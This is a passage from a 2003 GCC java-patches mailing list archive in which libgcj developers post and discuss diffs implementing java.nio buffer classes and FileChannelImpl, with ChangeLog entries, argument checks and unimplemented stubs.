gnu/java/nio/natLongBufferImpl.cc 13 Feb 2003 08:40:13 -0000 @@ -1,3 +1,13 @@ +// natLongBufferImpl.cc + +/* Copyright (C) 2002, 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + #include #include Index: gnu/java/nio/natShortBufferImpl.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/natShortBufferImpl.cc,v retrieving revision 1.2 diff -u -r1.2 natShortBufferImpl.cc --- gnu/java/nio/natShortBufferImpl.cc 11 Feb 2003 09:44:57 -0000 1.2 +++ gnu/java/nio/natShortBufferImpl.cc 13 Feb 2003 08:40:13 -0000 @@ -1,3 +1,13 @@ +// natShortBufferImpl.cc + +/* Copyright (C) 2002, 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + #include #include Index: java/nio/DoubleBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/DoubleBuffer.java,v retrieving revision 1.3 diff -u -r1.3 DoubleBuffer.java --- java/nio/DoubleBuffer.java 11 Feb 2003 07:42:17 -0000 1.3 +++ java/nio/DoubleBuffer.java 13 Feb 2003 08:40:13 -0000 @@ -125,11 +125,23 @@ public final double[] array() { + if (backing_buffer == null) + throw new UnsupportedOperationException (); + + if (isReadOnly ()) + throw new ReadOnlyBufferException (); + return backing_buffer; } public final int arrayOffset() { + if (backing_buffer == null) + throw new UnsupportedOperationException (); + + if (isReadOnly ()) + throw new ReadOnlyBufferException (); + return array_offset; } Index: java/nio/FloatBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/FloatBuffer.java,v retrieving revision 1.3 diff -u -r1.3 FloatBuffer.java --- java/nio/FloatBuffer.java 11 Feb 2003 07:42:17 -0000 1.3 +++ java/nio/FloatBuffer.java 13 Feb 2003 08:40:13 -0000 @@ -126,11 +126,23 @@ public final float[] array() { + if (backing_buffer == null) + throw new UnsupportedOperationException (); + + if (isReadOnly ()) + throw new ReadOnlyBufferException (); + return backing_buffer; } public final int arrayOffset() { + if (backing_buffer == null) + throw new UnsupportedOperationException (); + + if (isReadOnly ()) + throw new ReadOnlyBufferException (); + return array_offset; } Index: java/nio/IntBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/IntBuffer.java,v retrieving revision 1.3 diff -u -r1.3 IntBuffer.java --- java/nio/IntBuffer.java 11 Feb 2003 07:42:17 -0000 1.3 +++ java/nio/IntBuffer.java 13 Feb 2003 08:40:13 -0000 @@ -126,11 +126,23 @@ public final int[] array() { + if (backing_buffer == null) + throw new UnsupportedOperationException (); + + if (isReadOnly ()) + throw new ReadOnlyBufferException (); + return backing_buffer; } public final int arrayOffset() { + if (backing_buffer == null) + throw new UnsupportedOperationException (); + + if (isReadOnly ()) + throw new ReadOnlyBufferException (); + return array_offset; } Index: java/nio/LongBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/LongBuffer.java,v retrieving revision 1.3 diff -u -r1.3 LongBuffer.java --- java/nio/LongBuffer.java 11 Feb 2003 07:42:17 -0000 1.3 +++ java/nio/LongBuffer.java 13 Feb 2003 08:40:13 -0000 @@ -126,11 +126,23 @@ public final long[] array() { + if (backing_buffer == null) + throw new UnsupportedOperationException (); + + if (isReadOnly ()) + throw new ReadOnlyBufferException (); + return backing_buffer; } public final int arrayOffset() { + if (backing_buffer == null) + throw new UnsupportedOperationException (); + + if (isReadOnly ()) + throw new ReadOnlyBufferException (); + return array_offset; } Index: java/nio/ShortBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/ShortBuffer.java,v retrieving revision 1.3 diff -u -r1.3 ShortBuffer.java --- java/nio/ShortBuffer.java 11 Feb 2003 07:42:17 -0000 1.3 +++ java/nio/ShortBuffer.java 13 Feb 2003 08:40:13 -0000 @@ -126,11 +126,23 @@ public final short[] array() { + if (backing_buffer == null) + throw new UnsupportedOperationException (); + + if (isReadOnly ()) + throw new ReadOnlyBufferException (); + return backing_buffer; } public final int arrayOffset() { + if (backing_buffer == null) + throw new UnsupportedOperationException (); + + if (isReadOnly ()) + throw new ReadOnlyBufferException (); + return array_offset; } --Boundary-00=_ip1S+TTVmtE2o/9-- From java-patches-return-6109-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 08:52:14 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20549 invoked by alias); 13 Feb 2003 08:52:14 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20542 invoked from network); 13 Feb 2003 08:52:13 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by 172.16.49.205 with SMTP; 13 Feb 2003 08:52:13 -0000 Received: from 192.168.1.3 (dynadsl-080-228-69-197.ewetel.net [80.228.69.197]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h1D8qBGF008553 for ; Thu, 13 Feb 2003 09:52:12 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] gnu.java.nio -- badly needed. Date: Thu, 13 Feb 2003 09:52:11 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_7y1S+X4I2xZFigg" Message-Id: <200302130952.12085.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_7y1S+X4I2xZFigg Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, This should fix a compile time problem noone reported. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+S1y7WSOgCCdjSDsRAmngAJ4h1GOMrzZJLTY9OksphkfZmwg+LQCfRAej Y+3yfKJspUVtNemaoleUxuI=3D =3DojLL =2D----END PGP SIGNATURE----- --Boundary-00=_7y1S+X4I2xZFigg Content-Type: text/x-diff; charset="iso-8859-15"; name="nio-2.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="nio-2.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1691 diff -u -r1.1691 ChangeLog --- ChangeLog 13 Feb 2003 08:40:35 -0000 1.1691 +++ ChangeLog 13 Feb 2003 08:48:25 -0000 @@ -1,5 +1,11 @@ 2003-02-13 Michael Koch + * gnu/java/nio/natSocketChannelImpl.cc + (SocketConnect): This is not implemented yet. + (SocketBind): This is not implemented yet. + +2003-02-13 Michael Koch + * gnu/java/nio/natByteBufferImpl.cc, gnu/java/nio/natCharBufferImpl.cc, gnu/java/nio/natDoubleBufferImpl.cc, Index: gnu/java/nio/natSocketChannelImpl.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/natSocketChannelImpl.cc,v retrieving revision 1.1 diff -u -r1.1 natSocketChannelImpl.cc --- gnu/java/nio/natSocketChannelImpl.cc 29 Nov 2002 07:56:58 -0000 1.1 +++ gnu/java/nio/natSocketChannelImpl.cc 13 Feb 2003 08:48:25 -0000 @@ -38,15 +38,7 @@ ::java::net::InetAddress *addr, jint port) { - int result = _Jv_connect_address (fd, addr, port, addr, port); - - if (result < 0) - { - char* strerr = strerror (errno); - throw new ::java::io::IOException (JvNewStringUTF (strerr)); - } - - return result; + throw new ::java::io::IOException (JvNewStringUTF ("SocketConnect not implemented")); } jint @@ -54,15 +46,7 @@ ::java::net::InetAddress *addr, jint port) { - int result = _Jv_bind_address (fd, addr, port); - - if (result < 0) - { - char* strerr = strerror (errno); - throw new ::java::io::IOException (JvNewStringUTF (strerr)); - } - - return result; + throw new ::java::io::IOException (JvNewStringUTF ("SocketBind not implemented")); } jint --Boundary-00=_7y1S+X4I2xZFigg-- From java-patches-return-6110-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 09:33:27 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13100 invoked by alias); 13 Feb 2003 09:33:27 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13082 invoked from network); 13 Feb 2003 09:33:23 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 13 Feb 2003 09:33:23 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18jFjq-0003PN-00; Thu, 13 Feb 2003 10:33:02 +0100 Subject: Re: Patch: Fix line-number lookup in creating a StackTraceElement From: Mark Wielaard To: Ranjit Mathew Cc: java-patches@gcc.gnu.org In-Reply-To: References: <3E4AA545.3CB8BB13@hotmail.com> <1045089185.30201.82.camel@elsschot> Content-Type: text/plain Organization: Message-Id: <1045128799.30201.112.camel@elsschot> Mime-Version: 1.0 Date: 13 Feb 2003 10:33:19 +0100 Content-Transfer-Encoding: 7bit Hi, On Thu, 2003-02-13 at 05:40, Ranjit Mathew wrote: > > Do you have CVS access or do you want me to check this in? > > I do not - can you please do it? Thanks! Committed to branch and mailine. Tested by verifying that it solves my own source from "::" directory problem. Thanks, Mark From java-patches-return-6111-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 11:37:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29907 invoked by alias); 13 Feb 2003 11:37:25 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29899 invoked from network); 13 Feb 2003 11:37:25 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by 172.16.49.205 with SMTP; 13 Feb 2003 11:37:25 -0000 Received: from 192.168.1.3 (dynadsl-080-228-75-223.ewetel.net [80.228.75.223]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h1DBbMGF026014 for ; Thu, 13 Feb 2003 12:37:22 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.nio - ByteBuffer and CharBuffer Date: Thu, 13 Feb 2003 12:33:36 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_QK4S+hri1PTR1Vq" Message-Id: <200302131233.37041.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_QK4S+hri1PTR1Vq Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, Another java.nio patch that I commited. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+S4KRWSOgCCdjSDsRAqCSAKCcwfLDO3/RycyyR2SvED3Psj3yyQCgjE42 9629EfWInjgw2DZ6eVGEazg=3D =3DsLjK =2D----END PGP SIGNATURE----- --Boundary-00=_QK4S+hri1PTR1Vq Content-Type: text/x-diff; charset="iso-8859-15"; name="nio-3.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="nio-3.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1692 diff -u -r1.1692 ChangeLog --- ChangeLog 13 Feb 2003 08:50:51 -0000 1.1692 +++ ChangeLog 13 Feb 2003 11:33:18 -0000 @@ -1,5 +1,32 @@ 2003-02-13 Michael Koch + * java/nio/ByteBuffer.java + (endian): New member variable. + (get): New methods. + (equals): New method. + (compareTo): New method. + (order): New methods. + (compact): New method. + (isDirect): New method. + (slice): New method. + (duplicate): New method. + (asReadOnlyBuffer): New method. + (asCharBuffer): New method. + (asDoubleBuffer): New method. + (asFloatBuffer): New method. + (asIntBuffer): New method. + (asLongBuffer): New method. + (asShortBuffer): New method. + (get*): New methods. + (put*): New methods. + (toString): New method. + * java/nio/CharBuffer.java + (CharBuffer): Implement Comparable instead of Cloneable. + (get): May not be final. + (put): May not be final. + +2003-02-13 Michael Koch + * gnu/java/nio/natSocketChannelImpl.cc (SocketConnect): This is not implemented yet. (SocketBind): This is not implemented yet. Index: java/nio/ByteBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/ByteBuffer.java,v retrieving revision 1.6 diff -u -r1.6 ByteBuffer.java --- java/nio/ByteBuffer.java 12 Feb 2003 08:01:10 -0000 1.6 +++ java/nio/ByteBuffer.java 13 Feb 2003 11:33:18 -0000 @@ -44,6 +44,8 @@ */ public abstract class ByteBuffer extends Buffer implements Comparable { + private ByteOrder endian = ByteOrder.BIG_ENDIAN; + int offset; byte[] backing_buffer; @@ -88,6 +90,51 @@ } /** + * This method transfers bytes from this buffer into + * the given destination array. + * + * @param dst The destination array + * @param offset The offset within the array of the first byte to be written; + * must be non-negative and no larger than dst.length. + * @param length The maximum number of bytes to be written to the given array; + * must be non-negative and no larger than dst.length - offset. + * + * @exception BufferUnderflowException If there are fewer than length bytes + * remaining in this buffer. + * @exception IndexOutOfBoundsException - If the preconditions on the offset + * and length parameters do not hold. + */ + public ByteBuffer get (byte[] dst, int offset, int length) + { + if ((offset < 0) + || (offset > dst.length) + || (length < 0) + || (length > (dst.length - offset))) + throw new IndexOutOfBoundsException (); + + for (int i = offset; i < offset + length; i++) + { + dst [i] = get(); + } + + return this; + } + + /** + * This method transfers bytes from this buffer into the given + * destination array. + * + * @param dst The byte array to write into. + * + * @exception BufferUnderflowException If there are fewer than dst.length + * bytes remaining in this buffer. + */ + public ByteBuffer get (byte[] dst) + { + return get (dst, 0, dst.length); + } + + /** * Writes the content of src into the buffer. * * @param src The source data. @@ -200,7 +247,79 @@ } /** - * Relative get method. + * Tells whether or not this buffer is equal to another object. + */ + public boolean equals (Object obj) + { + if (obj != null && + obj instanceof ByteBuffer) + { + return compareTo (obj) == 0; + } + + return false; + } + + /** + * Compares this buffer to another object. + * + * @exception ClassCastException If the argument is not a byte buffer + */ + public int compareTo (Object obj) + { + ByteBuffer a = (ByteBuffer) obj; + + if (a.remaining() != remaining()) + { + return 1; + } + + if (! hasArray() || + ! a.hasArray()) + { + return 1; + } + + int r = remaining(); + int i1 = position (); + int i2 = a.position (); + + for (int i = 0; i < r; i++) + { + int t = (int) (get (i1) - a.get (i2)); + + if (t != 0) + { + return (int) t; + } + } + + return 0; + } + + /** + * Retrieves this buffer's byte order. + */ + public final ByteOrder order() + { + return endian; + } + + /** + * Modifies this buffer's byte order. + */ + public final ByteBuffer order (ByteOrder endian) + { + this.endian = endian; + return this; + } + + /** + * Reads the byte at this buffer's current position, + * and then increments the position. + * + * @exception BufferUnderflowException If the buffer's current position + * is not smaller than its limit. */ public abstract byte get (); @@ -212,4 +331,280 @@ * @exception ReadOnlyBufferException If this buffer is read-only. */ public abstract ByteBuffer put (byte b); + + /** + * Absolute get method. + * + * @exception IndexOutOfBoundsException FIXME + */ + public abstract byte get (int index); + + /** + * Absolute put method. + * + * @exception ReadOnlyBufferException If this buffer is read-only + * @exception IndexOutOfBoundsException FIXME + */ + public abstract ByteBuffer put (int index, byte b); + + /** + * Compacts this buffer. + * + * @exception ReadOnlyBufferException If this buffer is read-only + */ + public abstract ByteBuffer compact(); + + /** + * Tells whether or not this buffer is direct. + */ + public abstract boolean isDirect(); + + /** + * Creates a new byte buffer whose content is a shared subsequence of this + * buffer's content. + */ + public abstract ByteBuffer slice(); + + /** + * Creates a new byte buffer that shares this buffer's content. + */ + public abstract ByteBuffer duplicate(); + + /** + * Creates a new, read-only byte buffer that shares this buffer's content. + */ + public abstract ByteBuffer asReadOnlyBuffer(); + + /** + * Creates a view of this byte buffer as a short buffer. + */ + public abstract ShortBuffer asShortBuffer(); + + /** + * Creates a view of this byte buffer as a char buffer. + */ + public abstract CharBuffer asCharBuffer(); + + /** + * Creates a view of this byte buffer as an integer buffer. + */ + public abstract IntBuffer asIntBuffer(); + + /** + * Creates a view of this byte buffer as a long buffer. + */ + public abstract LongBuffer asLongBuffer(); + + /** + * Creates a view of this byte buffer as a float buffer. + */ + public abstract FloatBuffer asFloatBuffer(); + + /** + * Creates a view of this byte buffer as a double buffer. + */ + public abstract DoubleBuffer asDoubleBuffer(); + + /** + * Relative get method for reading a character value. + * + * @exception BufferUnderflowException If there are fewer than two bytes + * remaining in this buffer. + */ + public abstract char getChar(); + + /** + * Relative put method for writing a character value. + * + * @exception BufferOverflowException If this buffer's current position is + * not smaller than its limit. + */ + public abstract ByteBuffer putChar(char value); + + /** + * Absolute get method for reading a character value. + * + * @exception IndexOutOfBoundsException If there are fewer than two bytes + * remaining in this buffer + */ + public abstract char getChar(int index); + + /** + * Absolute put method for writing a character value. + * + * @exception IndexOutOfBoundsException If index is negative or not smaller + * than the buffer's limit, minus one. + */ + public abstract ByteBuffer putChar(int index, char value); + + /** + * Relative get method for reading a short value. + * + * @exception BufferUnderflowException If index is negative or not smaller + * than the buffer's limit, minus one. + */ + public abstract short getShort(); + + /** + * Relative put method for writing a short value. + * + * @exception BufferOverflowException If this buffer's current position is + * not smaller than its limit. + */ + public abstract ByteBuffer putShort(short value); + + /** + * Absolute get method for reading a short value. + * + * @exception IndexOutOfBoundsException If there are fewer than two bytes + * remaining in this buffer + */ + public abstract short getShort(int index); + + /** + * Absolute put method for writing a short value. + * + * @exception IndexOutOfBoundsException If index is negative or not smaller + * than the buffer's limit, minus one. + */ + public abstract ByteBuffer putShort(int index, short value); + + /** + * Relative get method for reading an integer value. + * + * @exception BufferUnderflowException If there are fewer than four bytes + * remaining in this buffer. + */ + public abstract int getInt(); + + /** + * Relative put method for writing an integer value. + * + * @exception BufferOverflowException If this buffer's current position is + * not smaller than its limit. + */ + public abstract ByteBuffer putInt(int value); + + /** + * Absolute get method for reading an integer value. + * + * @exception IndexOutOfBoundsException If index is negative or not smaller + * than the buffer's limit, minus three. + */ + public abstract int getInt(int index); + + /** + * Absolute put method for writing an integer value. + * + * @exception IndexOutOfBoundsException If index is negative or not smaller + * than the buffer's limit, minus three. + */ + public abstract ByteBuffer putInt(int index, int value); + + /** + * Relative get method for reading a long value. + * + * @exception BufferUnderflowException If there are fewer than eight bytes + * remaining in this buffer. + */ + public abstract long getLong(); + + /** + * Relative put method for writing a long value. + * + * @exception BufferOverflowException If this buffer's current position is + * not smaller than its limit. + */ + public abstract ByteBuffer putLong(long value); + + /** + * Absolute get method for reading a long value. + * + * @exception IndexOutOfBoundsException If index is negative or not smaller + * than the buffer's limit, minus seven. + */ + public abstract long getLong(int index); + + /** + * Absolute put method for writing a float value. + * + * @exception IndexOutOfBoundsException If index is negative or not smaller + * than the buffer's limit, minus seven. + */ + public abstract ByteBuffer putLong(int index, long value); + + /** + * Relative get method for reading a float value. + * + * @exception BufferUnderflowException If there are fewer than four bytes + * remaining in this buffer. + */ + public abstract float getFloat(); + + /** + * Relative put method for writing a float value. + * + * @exception BufferOverflowException If there are fewer than four bytes + * remaining in this buffer. + */ + public abstract ByteBuffer putFloat(float value); + + /** + * Absolute get method for reading a float value. + * + * @exception IndexOutOfBoundsException If index is negative or not smaller + * than the buffer's limit, minus three. + */ + public abstract float getFloat(int index); + + /** + * Relative put method for writing a float value. + * + * @exception IndexOutOfBoundsException If index is negative or not smaller + * than the buffer's limit, minus three. + */ + public abstract ByteBuffer putFloat(int index, float value); + + /** + * Relative get method for reading a double value. + * + * @exception BufferUnderflowException If there are fewer than eight bytes + * remaining in this buffer. + */ + public abstract double getDouble(); + + /** + * Relative put method for writing a double value. + * + * @exception BufferOverflowException If this buffer's current position is + * not smaller than its limit. + */ + public abstract ByteBuffer putDouble(double value); + + /** + * Absolute get method for reading a double value. + * + * @exception IndexOutOfBoundsException If index is negative or not smaller + * than the buffer's limit, minus seven. + */ + public abstract double getDouble(int index); + + /** + * Absolute put method for writing a double value. + * + * @exception IndexOutOfBoundsException If index is negative or not smaller + * than the buffer's limit, minus seven. + */ + public abstract ByteBuffer putDouble(int index, double value); + + /** + * Returns a string summarizing the state of this buffer. + */ + public String toString () + { + return getClass ().getName () + + "[pos=" + position () + + " lim=" + limit () + + " cap=" + capacity () + "]"; + } } Index: java/nio/CharBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/CharBuffer.java,v retrieving revision 1.4 diff -u -r1.4 CharBuffer.java --- java/nio/CharBuffer.java 12 Feb 2003 08:01:10 -0000 1.4 +++ java/nio/CharBuffer.java 13 Feb 2003 11:33:18 -0000 @@ -43,7 +43,7 @@ * @since 1.4 */ public abstract class CharBuffer extends Buffer - implements Cloneable, CharSequence + implements Comparable, CharSequence { protected char [] backing_buffer; @@ -119,7 +119,7 @@ * @exception IndexOutOfBoundsException If the preconditions on the offset * and length parameters do not hold */ - final public CharBuffer get (char[] dst, int offset, int length) + public CharBuffer get (char[] dst, int offset, int length) { for (int i = offset; i < offset + length; i++) { @@ -135,7 +135,7 @@ * @exception BufferUnderflowException If there are fewer than length * characters remaining in this buffer. */ - final public CharBuffer get (char[] dst) + public CharBuffer get (char[] dst) { return get (dst, 0, dst.length); } @@ -146,7 +146,7 @@ * @exception IllegalArgumentException If the source buffer is this buffer. * @exception ReadOnlyBufferException If this buffer is read-only. */ - final public CharBuffer put (CharBuffer src) + public CharBuffer put (CharBuffer src) { if (src == this) throw new IllegalArgumentException (); @@ -168,7 +168,7 @@ * and length parameters do not hold * @exception ReadOnlyBufferException If this buffer is read-only. */ - final public CharBuffer put (char[] src, int offset, int length) + public CharBuffer put (char[] src, int offset, int length) { if (offset < 0 || offset >= src.length --Boundary-00=_QK4S+hri1PTR1Vq-- From java-patches-return-6112-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 15:13:58 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 906 invoked by alias); 13 Feb 2003 15:13:58 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 897 invoked from network); 13 Feb 2003 15:13:56 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.14) by 172.16.49.205 with SMTP; 13 Feb 2003 15:13:56 -0000 Received: from 192.168.1.3 (dynadsl-080-228-66-174.ewetel.net [80.228.66.174]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h1DFDsGF012731 for ; Thu, 13 Feb 2003 16:13:55 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] gnu.java.nio.FileChannelImpl Date: Thu, 13 Feb 2003 16:13:54 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_yY7S+D0hwDedZyt" Message-Id: <200302131613.54753.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_yY7S+D0hwDedZyt Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, Here a patch I commited for gnu.java.nio.FileChannelImpl. This class=20 doesn't get compiled yet by default but the nigthmare is near ;-) Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+S7YyWSOgCCdjSDsRAkWFAJ9L7k67oYvuWskbSMOQG6YxCeeohwCeJivM jr9tm8viPRW+v+glMWHv6V0=3D =3DJztn =2D----END PGP SIGNATURE----- --Boundary-00=_yY7S+D0hwDedZyt Content-Type: text/x-diff; charset="iso-8859-15"; name="nio-4.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="nio-4.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1694 diff -u -r1.1694 ChangeLog --- ChangeLog 13 Feb 2003 11:37:09 -0000 1.1694 +++ ChangeLog 13 Feb 2003 15:12:00 -0000 @@ -1,3 +1,26 @@ +2003-02-13 Michael + + * gnu/java/nio/FileChannelImpl.java + (lengthInternal): Must be native. + (size): Check if channel is already closed. + (implCloseChannel): Reformated. + (read): w was unused, removed it. + (read): Removed. + (read): New method. + (write): New method. + (map): Check arguments. + (force): Throws IOException, check if channel is closed. + (transferTo): New method. + (transferFrom): New method. + (lock): New method. + (tryLock): New method. + (position): New method. + (truncate): New method. + (nio_mmap_file): Uncommented. + (nio_munmap_file): Uncommented. + (nio_msync): Uncommented. + * gnu/java/nio/natFileChannelImpl.cc: New file. + 2003-02-13 Michael Koch * java/nio/ByteBuffer.java Index: gnu/java/nio/FileChannelImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/FileChannelImpl.java,v retrieving revision 1.1 diff -u -r1.1 FileChannelImpl.java --- gnu/java/nio/FileChannelImpl.java 18 Nov 2002 13:56:58 -0000 1.1 +++ gnu/java/nio/FileChannelImpl.java 13 Feb 2003 15:12:00 -0000 @@ -44,7 +44,13 @@ import java.io.RandomAccessFile; import java.nio.ByteBuffer; import java.nio.MappedByteBuffer; +import java.nio.channels.ClosedChannelException; import java.nio.channels.FileChannel; +import java.nio.channels.FileLock; +import java.nio.channels.NonReadableChannelException; +import java.nio.channels.NonWritableChannelException; +import java.nio.channels.ReadableByteChannel; +import java.nio.channels.WritableByteChannel; /** * This file is not user visible ! @@ -66,11 +72,7 @@ * This method came from java.io.RandomAccessFile * It is private there so we will repeat it here. */ -// private native long lengthInternal (int native_fd) throws IOException; - private long lengthInternal (int native_fd) throws IOException - { - return 0; - }; + private native long lengthInternal (int native_fd) throws IOException; public FileChannelImpl (int fd, Object obj) { @@ -80,39 +82,42 @@ public long size () throws IOException { + if (!isOpen ()) + throw new ClosedChannelException (); + return lengthInternal (fd); } - protected void implCloseChannel() throws IOException + protected void implCloseChannel() throws IOException { if (address != 0) - { + { nio_unmmap_file (fd, address, (int) length); - } + address = 0; + } // FIXME fd = 0; if (file_obj instanceof RandomAccessFile) - { + { RandomAccessFile o = (RandomAccessFile) file_obj; o.close(); - } + } else if (file_obj instanceof FileInputStream) - { + { FileInputStream o = (FileInputStream) file_obj; o.close(); - } + } else if (file_obj instanceof FileOutputStream) - { + { FileOutputStream o = (FileOutputStream) file_obj; o.close(); - } + } } public int read (ByteBuffer dst) throws IOException { - int w = 0; int s = (int)size(); if (buf == null) @@ -128,9 +133,18 @@ return s; } - public long read (ByteBuffer[] dsts) throws IOException + public int read (ByteBuffer dst, long position) + throws IOException { - return read (dsts, 0, dsts.length); + if (position < 0) + throw new IllegalArgumentException (); + + if (!isOpen ()) + throw new ClosedChannelException (); + + // FIXME: check for NonReadableChannelException + + throw new Error ("Not implemented"); } public long read (ByteBuffer[] dsts, int offset, int length) @@ -164,6 +178,20 @@ return w; } + public int write (ByteBuffer src, long position) + throws IOException + { + if (position < 0) + throw new IllegalArgumentException (); + + if (!isOpen ()) + throw new ClosedChannelException (); + + // FIXME: check for NonWritableChannelException + + throw new Error ("Not implemented"); + } + public long write(ByteBuffer[] srcs, int offset, int length) throws IOException { @@ -173,13 +201,22 @@ { res += write (srcs[i]); } - return res; - } + + return res; + } public MappedByteBuffer map (FileChannel.MapMode mode, long position, long size) throws IOException { + if ((mode != MapMode.READ_ONLY + && mode != MapMode.READ_WRITE + && mode != MapMode.PRIVATE) + || position < 0 + || size < 0 + || size > Integer.MAX_VALUE) + throw new IllegalArgumentException (); + // int cmode = mode.m; // address = nio_mmap_file (fd, position, size, cmode); // length = size; @@ -208,27 +245,113 @@ /** * msync with the disk */ - public void force (boolean metaData) + public void force (boolean metaData) throws IOException { + if (!isOpen ()) + throw new ClosedChannelException (); + + // FIXME: What to do with metaData ? + nio_msync (fd, address, length); } -// static native long nio_mmap_file (int fd, long pos, int size, int mode); + public long transferTo (long position, long count, WritableByteChannel target) + throws IOException + { + if (position < 0 + || count < 0) + throw new IllegalArgumentException (); + + if (!isOpen ()) + throw new ClosedChannelException (); + + // FIXME: check for NonReadableChannelException + // FIXME: check for NonWritableChannelException + + throw new Error ("Not implemented"); + } + + public long transferFrom (ReadableByteChannel src, long position, long count) + throws IOException + { + if (position < 0 + || count < 0) + throw new IllegalArgumentException (); -// static native void nio_unmmap_file (int fd, long address, int size); + if (!isOpen ()) + throw new ClosedChannelException (); -// static native void nio_msync (int fd, long address, int length); + // FIXME: check for NonReadableChannelException + // FIXME: check for NonWritableChannelException + + throw new Error ("Not implemented"); + } - static long nio_mmap_file (int fd, long pos, int size, int mode) + public FileLock lock (long position, long size, boolean shared) + throws IOException { - return 0; + if (position < 0 + || size < 0) + throw new IllegalArgumentException (); + + if (!isOpen ()) + throw new ClosedChannelException (); + + // FIXME: check for NonReadableChannelException + // FIXME: check for NonWritableChannelException + + throw new Error ("Not implemented"); } + + public FileLock tryLock (long position, long size, boolean shared) + throws IOException + { + if (position < 0 + || size < 0) + throw new IllegalArgumentException (); + + if (!isOpen ()) + throw new ClosedChannelException (); - static void 